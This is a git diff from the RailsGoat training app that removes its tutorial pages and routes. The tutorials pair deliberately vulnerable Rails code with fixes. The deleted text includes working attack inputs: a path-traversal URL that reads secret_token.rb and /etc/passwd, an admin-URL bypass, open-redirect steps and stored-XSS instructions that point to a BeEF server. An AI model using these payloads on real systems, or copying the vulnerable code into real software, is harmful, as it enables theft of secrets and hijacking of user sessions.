    - Did you register your account correctly? How about when you updated your settings? -

    -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/metaprogramming/_benefit_forms_constantize.html.erb b/app/views/layouts/tutorial/metaprogramming/_benefit_forms_constantize.html.erb deleted file mode 100644 index 372e57d..0000000 --- a/app/views/layouts/tutorial/metaprogramming/_benefit_forms_constantize.html.erb +++ /dev/null @@ -1,130 +0,0 @@ -
    -
    -
    - Constantize -
    -
    -
    -
    -
    - -
    -
    -

    - The constantize method is a Rails MetaProgramming method designed to dynamically find a constant that matches the string specified. This is often used to dynamically instantiate a class or module. When user-supplied input is a part of that equation, great precautions must be taken to ensure security holes are not introduced. -

    -
    -
    -
    -
    - -
    -
    -

    - Within the file app/controllers/benefit_forms_controller.rb: -

    -
    -          def download
    -            begin
    -              path = Rails.root.join('public', 'docs', params[:name])
    -              file = params[:type].constantize.new(path)
    -              send_file file, :disposition => 'attachment'
    -            rescue
    -              redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
    -            end
    -            end
    -        
    -

    - The location of the file to render is dynamically generated based on user input (params[:name]). This means the user controls the location of the file to be retrieved. Additionally, the params[:type] (File) is not validated to make sure it matches up with expected values. -

    -
    -
    -
    -
    - -
    -
    -

    Constantize ATTACK:

    -

    - In order to attack this weakness, navigate to the benefit forms page and observe the link to download either the health or dental documents. -

    -
    -         http://railsgoat.dev/download?name=Health_n_Stuff.pdf&type=File
    -         
    -

    - Change the name parameter to something a little more fun like: -

    -
    -          http://railsgoat.dev/download?name=../../config/initializers/secret_token.rb&type=File
    -        
    -

    - This second request string specifies to navigate back two directories and then look for config/intiializers/secret_token.rb. It is important to note, even when Rails.root.join is used, leveraging path traversal (ex: ../../) allows the attacker to retrieve any file that the application's user has permissions to.

    Example: -

    -
    -          ../../../../../../../etc/passwd&type=File
    -        
    -

    Constantize SOLUTION:

    -

    - In this instance and as always, there are multiple ways to fix this. A simple method to secure this function by validating user input is as follows: -

    -
    -          # More secure version
    -            def download
    -             file_assoc = {"1" => "Health_n_Stuff.pdf", "2" => "Dental_n_Stuff.pdf"}
    -             begin
    -               if file_assoc.has_key?(params[:name].to_s)
    -                  path = Rails.root.join('public', 'docs', file_assoc[params[:name].to_s])
    -                  if params[:type] == "File"
    -                    file = params[:type].constantize.new(path)
    -                    send_file file, :disposition => 'attachment'
    -                  end
    -               else
    -                 file =  Rails.root.join('public', 'docs', "Dental_n_Stuff.pdf")
    -                 send_file file, :disposition => 'attachment'
    -               end
    -             rescue
    -               redirect_to user_benefit_forms_path(:user_id => current_user.user_id)
    -             end
    -            end
    -        
    -

    - The fix ultimately boils down to leveraging a hash, if the hash has the key provided by the user, the value associated with that key is the name of the file to be returned. -

    -
    -
    -
    -
    - -
    -
    - It can be very helpful for employees to download benefit forms. -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/metaprogramming/_send.html.erb b/app/views/layouts/tutorial/metaprogramming/_send.html.erb deleted file mode 100644 index aed1afa..0000000 --- a/app/views/layouts/tutorial/metaprogramming/_send.html.erb +++ /dev/null @@ -1,76 +0,0 @@ -
    -
    -
    - Send -
    -
    -
    -
    -
    - -
    -
    -

    - INSERT DESCRIPTION HERE -

    -
    -
    -
    -
    - -
    -
    -

    - INSERT BUG HERE -

    - -
    -
    -
    -
    - -
    -
    -

    Constantize ATTACK:

    -

    INSERT ATTACK HERE

    - -

    Constantize SOLUTION:

    -

    INSERT SOLUTION HERE

    -
    -
    -
    -
    - -
    -
    - INSERT HINT HERE -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/misconfig/_misconfig_first.html.erb b/app/views/layouts/tutorial/misconfig/_misconfig_first.html.erb deleted file mode 100755 index 5d0b30f..0000000 --- a/app/views/layouts/tutorial/misconfig/_misconfig_first.html.erb +++ /dev/null @@ -1,82 +0,0 @@ -
    -
    -
    - A5 - Security Misconfiguration -
    -
    -
    -
    -
    - -
    -
    - Security misconfiguration can happen at any level of an application stack, including the platform, web server, application server, database, framework, and custom code. Developers and system administrators need to work together to ensure that the entire stack is configured properly. Automated scanners are useful for detecting missing patches, misconfigurations, use of default accounts, unnecessary services, etc. -
    -
    -
    -
    - -
    -
    -

    Rails has quite a few security related configurations. One of which relates to enforcing mass assignment protection.

    -

    -

    -            <%= %q{
    -              config.active_record.whitelist_attributes=false
    -            } %>
    -         
    -

    -

    This configuration forces an application developer to whitelist attributes that can be modified with mass-assignment. When this configuration is set to false any attribute can be mass-assigned.

    -
    -
    -
    -
    - -
    -
    - The solution for this issue is quite simple. In your application.rb file set the configuration as follows. -
    -            <%= %q{
    -              config.active_record.whitelist_attributes=true
    -            } %>
    -            
    - Once this configuration is updated to true and the application is restarted, any attributes to be mass-assigned will have to be defined as attr_accessible. -

    -
    -
    -
    -
    - -
    -
    - It has to do with mass-assignment, whitelisting and configuration. -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/misconfig/_misconfig_second.html.erb b/app/views/layouts/tutorial/misconfig/_misconfig_second.html.erb deleted file mode 100644 index a2ca394..0000000 --- a/app/views/layouts/tutorial/misconfig/_misconfig_second.html.erb +++ /dev/null @@ -1,80 +0,0 @@ -
    -
    -
    - A5 - Security Misconfiguration -
    -
    -
    -
    -
    - -
    -
    - Another one of the Rails security configurations relates to escaping HTML entities in JSON. -
    -
    -
    -
    - -
    -
    -

    When the following setting is set to false, HTML entities in JSON response will not be encoded.

    -

    -

    -            <%= %q{
    -              ActiveSupport::escape_html_entities_in_json = false
    -            } %>
    -         
    -

    -
    -
    -
    -
    - -
    -
    -

    Edit the html_entities file at config/initializers/html_entities.rb and set the following to true.

    -

    -            <%= %q{
    -              ActiveSupport::escape_html_entities_in_json = true
    -            } %>
    -            

    -

    Once the initializer is edited and the application is restarted, any HTML entities in JSON responses will be encoded.

    -
    -
    -
    -
    - -
    -
    - Think HTML entities, escaping and initializers. -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/redirects/_redirects_first.html.erb b/app/views/layouts/tutorial/redirects/_redirects_first.html.erb deleted file mode 100755 index 5e063ae..0000000 --- a/app/views/layouts/tutorial/redirects/_redirects_first.html.erb +++ /dev/null @@ -1,118 +0,0 @@ -
    -
    -
    - A10 - Unvalidated Redirects and Forwards -
    -
    -
    -
    -
    - -
    -
    -

    - Applications frequently redirect users to other pages, or use internal forwards in a similar manner. Sometimes the target page is specified in an unvalidated parameter, allowing attackers to choose the destination page. - Detecting unchecked redirects is easy. Look for redirects where you can set the full URL. Unchecked forwards are harder, because they target internal pages. -

    -

    - Railsgoat allows the redirection to the paths previously requested but for which the user did not have access. Following authentication, the user is redirected. -

    -
    -
    -
    -
    - -
    -
    -

    - The application performs zero validation of the path for which they will redirect users, following authentication. The URL parameter is used to determine where to redirect the user, if the url parameter is not present, the user will be redirect to their home page. -

    -
    -          def create
    -              path = params[:url].present? ? params[:url] : home_dashboard_index_path
    -              begin
    -                # Normalize the email address, why not
    -                user = User.authenticate(params[:email].to_s.downcase, params[:password])
    -               # @url = params[:url]
    -              rescue Exception => e
    -              end
    -
    -              if user
    -                session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
    -                redirect_to path
    -              else
    -                # Removed this code, just doesn't seem specific enough!
    -                #  flash[:error] = "Either your username and password is incorrect"
    -                flash[:error] = e.message
    -                render "new"
    -              end
    -          end
    -        
    - -
    -
    -
    -
    - -
    -
    -

    Unvalidated Redirects and Forwards - ATTACK

    -

    - Ensure you are logged out of the application. When requesting the login page, ensure you append a url=. Then, authenticate to the application. Once authenticated, you should be redirected to your test url. -

    -

    Unvalidated Redirects and Forwards - SOLUTION

    -

    - To fix this vulnerability, validate the path. In our case, we really only want to redirect users to our site so the TLD is not important. In this case, leveraging URI.parse() can be incredibly helpful. We can change the code to something like: -

    -
    -          path = home_dashboard_index_path
    -          begin
    -           if params[:url].present?
    -            path = URI.parse(params[:url]).path
    -           end
    -          rescue
    -          end
    -       
    -

    - Further validation can occur with regular expression. If you must redirect to another application, remember to use URI.parse() and the host, path, and scheme (ssl or not) options FIRST, prior to performing regular expression validation. Additionally, always open and close your validation regexp using Ruby anchor tags \A and \z. -

    -
    -
    -
    -
    - -
    -
    -

    - Read the description section, fairly big hint there. -

    -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/ssl_tls/_ssl_tls_first.html.erb b/app/views/layouts/tutorial/ssl_tls/_ssl_tls_first.html.erb deleted file mode 100755 index 94d1f12..0000000 --- a/app/views/layouts/tutorial/ssl_tls/_ssl_tls_first.html.erb +++ /dev/null @@ -1,82 +0,0 @@ -
    -
    -
    - A9 - Insufficient Transport Layer Protection -
    -
    -
    -
    -
    - -
    -
    -

    - Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly. -

    -
    -
    -
    -
    - -
    -
    -

    - The application currently does not use SSL (this is not the bug). Once it does, we will show the bug. For now, check out the solution section. -

    -
    -
    -
    -
    - -
    -
    -

    - In order to enforce transport layer security and ensure all requests are made over SSL, navigate to the environment file that matches the environment you would like to apply this to and add: -

    -
    -         config.force_ssl = true
    -        
    -

    - To protect sessions from being sent over non-encrypted channels, mark your cookies with the secure flag. Under config/initializers/session_store.rb added the following option (highlighted): -

    -
    -        Railsgoat::Application.config.session_store :cookie_store, key: '_railsgoat_session', :secure => true
    -        
    -
    -
    -
    -
    - -
    -
    - N/A -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/url_access/_url_access_first.html.erb b/app/views/layouts/tutorial/url_access/_url_access_first.html.erb deleted file mode 100755 index d08e2c2..0000000 --- a/app/views/layouts/tutorial/url_access/_url_access_first.html.erb +++ /dev/null @@ -1,107 +0,0 @@ -
    -
    -
    - A8 - Failure to Restrict URL Access -
    -
    -
    -
    -
    - -
    -
    - Many web applications check URL access rights before rendering protected links and buttons. However, applications need to perform similar access control checks each time these pages are accessed, or attackers will be able to forge URLs to access these hidden pages anyway. -
    -
    -
    -
    - -
    -
    -

    - Rails provides the ability to apply before_filter(s) which run prior to rendering content to the user. This is helpful when restricting access to content based on the user's role. Currently, the methods to apply a before_filter already exist in the application controller but were forgotten when creating the administrative functionality. Notice an asbsence of the before_filter within app/controllers/admin_controller.rb -

    -
    -        <%= %q{
    -        class AdminController < ApplicationController
    -
    -          skip_before_filter :has_info
    -        } %>
    -        
    - -
    -
    -
    -
    - -
    -
    -

    Failure to Restrict URL Access - ATTACK

    -

    - Request the following URL /admin/1/dashboard and have fun :-) -

    -

    Failure to Restrict URL Access - SOLUTION

    -

    - The code is already available to restrict access to the admin controller by role within app/controllers/application_controller.rb: -

    -
    -        helper_method :current_user, :is_admin?
    -
    -        def is_admin?
    -            current_user.admin if current_user
    -          end
    -
    -          def administrative
    -            if not is_admin?
    -             reset_session
    -             redirect_to root_url
    -           end
    -          end
    -        
    -

    - Then add the following line within app/controllers/admin_controller.rb -

    -
    -        class AdminController < ApplicationController
    -
    -          before_filter :administrative
    -          skip_before_filter :has_info
    -        
    -
    -
    -
    -
    - -
    -
    - I bet there is some admin functionality in here :-) -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/xss/_dom_xss.html.erb b/app/views/layouts/tutorial/xss/_dom_xss.html.erb deleted file mode 100644 index 2c5a3e0..0000000 --- a/app/views/layouts/tutorial/xss/_dom_xss.html.erb +++ /dev/null @@ -1,125 +0,0 @@ -
    -
    -
    - A3 - Cross-Site Scripting ("XSS") - DOM Based -
    -
    -
    -
    -
    - -
    -
    -

    - DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment. -

    -
    -
    -
    -
    - -
    -
    -

    - The following code was taken from app/views/sessions/new.html.erb: -

    -
    -         <%=
    -        %{
    -   
    -        }
    -        %>
    -        
    -

    - The code (above) takes user input (params), and renders it back on the page without any output encoding or escaping. -

    -
    -
    -
    -
    - -
    -
    -

    Stored Cross-Site Scripting ATTACK:

    -

    - Ensure you are signed out of the application first. Make sure you are using something like Firefox as Safari/Chrome won't work for this exercise. Then, use the following link (substitute hostname for your actual hostname) to execute an alert box: -

    -
    -        <%= %{http://127.0.0.1:3000/#test=} %>
    -       
    -

    Stored Cross-Site Scripting SOLUTION:

    -

    - Leverage the Hogan function for escaping (found in the application.js file) to escape user input: -

    -
    -        <%= %{
    -   
    -   
    -        }
    -
    -        %>
    -       
    -
    -
    -
    -
    - -
    -
    -

    - You should view the source of the login page, might be something interesting there. -

    -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorial/xss/_xss_first.html.erb b/app/views/layouts/tutorial/xss/_xss_first.html.erb deleted file mode 100755 index 4349bd6..0000000 --- a/app/views/layouts/tutorial/xss/_xss_first.html.erb +++ /dev/null @@ -1,94 +0,0 @@ -
    -
    -
    - A3 - Cross-Site Scripting ("XSS") -
    -
    -
    -
    -
    - -
    -
    -

    XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

    -
    -
    -
    -
    - -
    -
    -

    Stored Cross-Site Scripting - The following code was taken from app/views/layouts/shared/_header.html.erb

    - -

    -

    -            <%= @code %>
    -          
    -

    -

    - Coincidentally, HTML safe is not safe from HTML Injection or "XSS" attacks. The name is deceiving. Some folks believe the raw() helper to be different than the html_safe String method. raw() is actually a wrapper for html_safe and essentially ensures exceptions are handled when the expected value is nil. -

    -            # Psuedo-code to help conceptualize
    -            def raw(dirty_string)
    -              dirty_string.to_s.html_safe
    -            end
    -          
    - -

    - -
    -
    -
    -
    - -
    -
    -

    Stored Cross-Site Scripting ATTACK:

    - -

    When registering, enter your JavaScript tag such as <%= %{} %> in the First Name field. Upon login the header navigation bar will echo "Welcome" + your JS code. You can have your XSS code point the victim to a <%= link_to "BeEF server", "http://beefproject.com", {:style => "color: rgb(69, 126, 136)" } %> and have some fun as well. -

    -

    Stored Cross-Site Scripting SOLUTION:

    -

    - Often developers error on the side of using "html_safe" versus "raw" with the idea being one is safer than the other. In this example, simply removing the .html_safe call would both eliminate the attack (by default, Rails 3.x html encodes these dangerous chars). Rails 2.x would require that any potentially malicious content is wrapped within an h() tag. Potentially malicious content should be thought of anything that is dynamically generated. Also, it is important to note that if for some reason you wanted to render HTML code in literal form, you can use things like sanitize() or strip_tags(). -

    -
    -
    -
    -
    - -
    -
    -

    - Apparently we had some issues rendering people's names with weird formatting or something, I dunno, I think I fixed it by safely encoding html and rendering the necessary content.

    - You're Welcome! -

    -
    -
    -
    -
    -
    -
    \ No newline at end of file diff --git a/app/views/layouts/tutorials.html.erb b/app/views/layouts/tutorials.html.erb deleted file mode 100755 index 65027e9..0000000 --- a/app/views/layouts/tutorials.html.erb +++ /dev/null @@ -1,26 +0,0 @@ - - - - RailsGoat - <%= stylesheet_link_tag "application", :media => "all" %> - <%= javascript_include_tag "application" %> - <%#= csrf_meta_tags %> - - - - - -<%= render "layouts/tutorial/header" %> -<%= render "layouts/tutorial/sidebar" %> - -
    -
    - <%= yield %> -
    -
    - <%= render "layouts/shared/footer" %> - - diff --git a/app/views/tutorials/access_control.html.erb b/app/views/tutorials/access_control.html.erb deleted file mode 100644 index 1dd6976..0000000 --- a/app/views/tutorials/access_control.html.erb +++ /dev/null @@ -1,17 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/access_control/access_control_first" %> -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/broken_auth.html.erb b/app/views/tutorials/broken_auth.html.erb deleted file mode 100755 index 4b9056c..0000000 --- a/app/views/tutorials/broken_auth.html.erb +++ /dev/null @@ -1,32 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => ("layouts/tutorial/broken_auth_sess/user_pass_enum")%> -
    -
    -
    -
    - <%= render :partial => ("layouts/tutorial/broken_auth_sess/password_complexity")%> -
    -
    -
    -
    - <%= render :partial => ("layouts/tutorial/broken_auth_sess/insecure_compare")%> -
    -
    -
    -
    - <%= render :partial => ("layouts/tutorial/broken_auth_sess/httponly_flag")%> -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/csrf.html.erb b/app/views/tutorials/csrf.html.erb deleted file mode 100755 index 8ff612e..0000000 --- a/app/views/tutorials/csrf.html.erb +++ /dev/null @@ -1,17 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/csrf/csrf_first"%> -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/exposure.html.erb b/app/views/tutorials/exposure.html.erb deleted file mode 100755 index d9fb282..0000000 --- a/app/views/tutorials/exposure.html.erb +++ /dev/null @@ -1,30 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/exposure/password_hashing" %> -
    -
    - -
    -
    - <%= render :partial => "layouts/tutorial/exposure/ssn" %> -
    -
    - -
    -
    - <%= render :partial => "layouts/tutorial/exposure/model_attributes_exposure" %> -
    -
    - -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/gauntlt.html.erb b/app/views/tutorials/gauntlt.html.erb deleted file mode 100644 index 99d68df..0000000 --- a/app/views/tutorials/gauntlt.html.erb +++ /dev/null @@ -1,36 +0,0 @@ -
    -
    -
    -
    -
    -
    -
    - Gauntlet -
    -
    -
    -

    - Gauntlt is a tool used for unit testing leveraging third-party tools. We've baked this into Railsgoat so that you can play with it.

    To learn more about this tool, please visit their site at: <%= link_to "Gauntlet Github Repository", "https://github.com/gauntlt/gauntlt", {:style =>"color: rgb(181, 121, 158);"} %>

    -

    - All *.attack files are contained under the gauntlt_scripts directory. We have provided a simple.attack file that demonstrates the tool works. If errors occur, please submit a bug through our github powered issue tracking system. -

    -

    - To run this tool type this via the command line:

    $ gauntlt -

    -
    -
    -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/guard.html.erb b/app/views/tutorials/guard.html.erb deleted file mode 100755 index adf142f..0000000 --- a/app/views/tutorials/guard.html.erb +++ /dev/null @@ -1,28 +0,0 @@ -
    -
    -
    -
    -
    -
    -
    - Using Guard with Brakeman and Bundle-Audit -
    -
    -
    - -
    -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/index.html.erb b/app/views/tutorials/index.html.erb deleted file mode 100755 index fc9ae71..0000000 --- a/app/views/tutorials/index.html.erb +++ /dev/null @@ -1,71 +0,0 @@ -
    -
    -

    Welcome to RailsGoat

    -

    Tutorial Guide

    - - -
    -
    -
    Railsgoat can be used by either software developers or security professionals as a means of training themselves on Ruby on Rails security. - We describe software developers as "builders" and security professionals as "breakers". -

    Please choose the category that you fall under for more information. -


    - - - -
    -
    - - -
    -
    -
    - -
    -
    -
    - -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/injection.html.erb b/app/views/tutorials/injection.html.erb deleted file mode 100755 index cef1078..0000000 --- a/app/views/tutorials/injection.html.erb +++ /dev/null @@ -1,27 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/injection/injection_first"%> -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/injection/sqli_scope"%> -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/injection/injection_command"%> -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/insecure_components.html.erb b/app/views/tutorials/insecure_components.html.erb deleted file mode 100644 index e9fb34e..0000000 --- a/app/views/tutorials/insecure_components.html.erb +++ /dev/null @@ -1,17 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/insecure_components/insecure_components_first" %> -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/insecure_dor.html.erb b/app/views/tutorials/insecure_dor.html.erb deleted file mode 100755 index d6ff2f0..0000000 --- a/app/views/tutorials/insecure_dor.html.erb +++ /dev/null @@ -1,17 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/insecure_dor/insecure_dor_first" %> -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/logic_flaws.html.erb b/app/views/tutorials/logic_flaws.html.erb deleted file mode 100644 index f5f4ca5..0000000 --- a/app/views/tutorials/logic_flaws.html.erb +++ /dev/null @@ -1,24 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => ("layouts/tutorial/logic_flaws/broken_regexp")%> -
    -
    -
    -
    - <%= render :partial => ("layouts/tutorial/logic_flaws/insecure_crypto_reuse")%> -
    -
    -
    -
    - - - \ No newline at end of file diff --git a/app/views/tutorials/mass_assignment.html.erb b/app/views/tutorials/mass_assignment.html.erb deleted file mode 100644 index f8f2c78..0000000 --- a/app/views/tutorials/mass_assignment.html.erb +++ /dev/null @@ -1,18 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => ("layouts/tutorial/mass_assignment/admin_mass_assign")%> -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/metaprogramming.html.erb b/app/views/tutorials/metaprogramming.html.erb deleted file mode 100644 index 565534b..0000000 --- a/app/views/tutorials/metaprogramming.html.erb +++ /dev/null @@ -1,23 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => ("layouts/tutorial/metaprogramming/benefit_forms_constantize")%> -
    -
    -
    -
    - <%#= render :partial => ("layouts/tutorial/metaprogramming/send")%> -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/misconfig.html.erb b/app/views/tutorials/misconfig.html.erb deleted file mode 100755 index 6838e3b..0000000 --- a/app/views/tutorials/misconfig.html.erb +++ /dev/null @@ -1,22 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/misconfig/misconfig_first"%> -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/misconfig/misconfig_second"%> -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/redirects.html.erb b/app/views/tutorials/redirects.html.erb deleted file mode 100755 index f831c1c..0000000 --- a/app/views/tutorials/redirects.html.erb +++ /dev/null @@ -1,17 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/redirects/redirects_first"%> -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/ssl_tls.html.erb b/app/views/tutorials/ssl_tls.html.erb deleted file mode 100755 index 477ff70..0000000 --- a/app/views/tutorials/ssl_tls.html.erb +++ /dev/null @@ -1,17 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/ssl_tls/ssl_tls_first" %> -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/url_access.html.erb b/app/views/tutorials/url_access.html.erb deleted file mode 100755 index 331ae98..0000000 --- a/app/views/tutorials/url_access.html.erb +++ /dev/null @@ -1,17 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/url_access/url_access_first" %> -
    -
    -
    -
    - - \ No newline at end of file diff --git a/app/views/tutorials/xss.html.erb b/app/views/tutorials/xss.html.erb deleted file mode 100755 index d250cf7..0000000 --- a/app/views/tutorials/xss.html.erb +++ /dev/null @@ -1,22 +0,0 @@ -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/xss/xss_first"%> -
    -
    -
    -
    - <%= render :partial => "layouts/tutorial/xss/dom_xss"%> -
    -
    -
    -
    - - \ No newline at end of file diff --git a/config/routes.rb b/config/routes.rb index a85b993..30e08f7 100644 --- a/config/routes.rb +++ b/config/routes.rb @@ -49,25 +49,6 @@ Railsgoat::Application.routes.draw do resources :tutorials do collection do get "credentials" - get "injection" - get "xss" - get "broken_auth" - get "insecure_dor" - get "csrf" - get "misconfig" - get "exposure" - get "url_access" - get "insecure_components" - get "access_control" - get "ssl_tls" - get "redirects" - get "guard" - get "mass_assignment" - get "gauntlt" - get "logic_flaws" - get "metaprogramming" - get "breaker" - get "builder" end end